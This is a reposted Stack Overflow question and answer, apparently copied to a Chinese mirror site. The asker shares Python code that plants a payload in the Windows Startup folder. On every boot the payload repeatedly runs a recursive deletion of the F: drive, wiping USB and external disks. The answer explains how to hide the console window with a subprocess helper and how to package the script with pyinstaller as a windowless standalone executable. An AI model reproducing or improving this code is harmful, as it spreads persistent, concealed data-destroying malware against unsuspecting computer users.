gpt4 book ai didi

python - 在后台启动时执行python脚本

转载 作者:太空宇宙 更新时间:2023-11-04 03:46:41 27 4
gpt4 key购买 nike

为了好玩,我正在编写一个非常简单的恶意软件(我不喜欢对他人做任何恶意的事情)。目前,我有这个:

import os

#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]

#find the userhome
userhome = os.path.expanduser('~')

#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)

在用户执行该脚本后,它应该在每次计算机启动时运行负载。目前,payload 将删除 F:\驱动器,其中可以找到 USB 磁盘、外部 HDD 等。

问题是计算机启动时会出现命令窗口。我需要一种方法来防止任何东西以非常短的方式显示任何软件,这可以在 Python 中轻松完成。我听说过“pythonw.exe”,但我不知道如何让它在启动时运行,除非我更改 .py 文件的默认程序。我该怎么做呢?

是的,我确实知道如果有人得到这个恶意软件,除非他们安装了 Python,否则它不会做任何事情,但因为我不想用它做任何事情,所以我不在乎。

最佳答案

弹出的窗口,其实应该不是你的python窗口,而是你用os运行命令的窗口(如果有两个窗口,你需要按照下面的建议删除实际的python一)。你可以在使用 subprocess 模块时阻止它,类似于 os 模块。通常,subprocess 也会创建一个窗口,但是你可以使用这个调用函数来避免它。如果您希望通过管道将标准传入和传出流程,它甚至会采用可选的输入参数并返回输出,在这种情况下您不需要这样做。

def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]

这应该有所帮助。你会用它代替 os.system()

此外,即使没有 python(尽管您真的不应该在其他系统上使用它),您也可以通过使用 pyinstaller 将其变成可执行文件来使其工作。事实上,您可能需要在更改子进程启动信息的同时执行此操作以使其工作。与 py2exe 或 cxfreeze 不同,pyinstaller 非常易于使用,并且工作可靠。安装 pyinstaller here (它是一个 zip 文件,但是 pyinstaller 和其他站点记录了如何使用它安装它)。如果您想从命令行创建可执行文件,您可能需要在系统“路径”变量中包含 pyinstaller 命令(您可以从控制面板执行此操作)。只需输入

pyinstaller "<filename>" -w -F

您将获得一个独立的无窗口可执行文件。 -w 使它无窗口,-F 使它成为一个独立的文件,而不是多个文件的集合。您应该会看到一个来自您调用 pyinstaller 的目录的 dist 子目录,其中可能包括您可能会忽略的单个独立可执行文件,它不需要 python,并且不应导致任何窗口弹出。

关于python - 在后台启动时执行python脚本,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/23447815/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com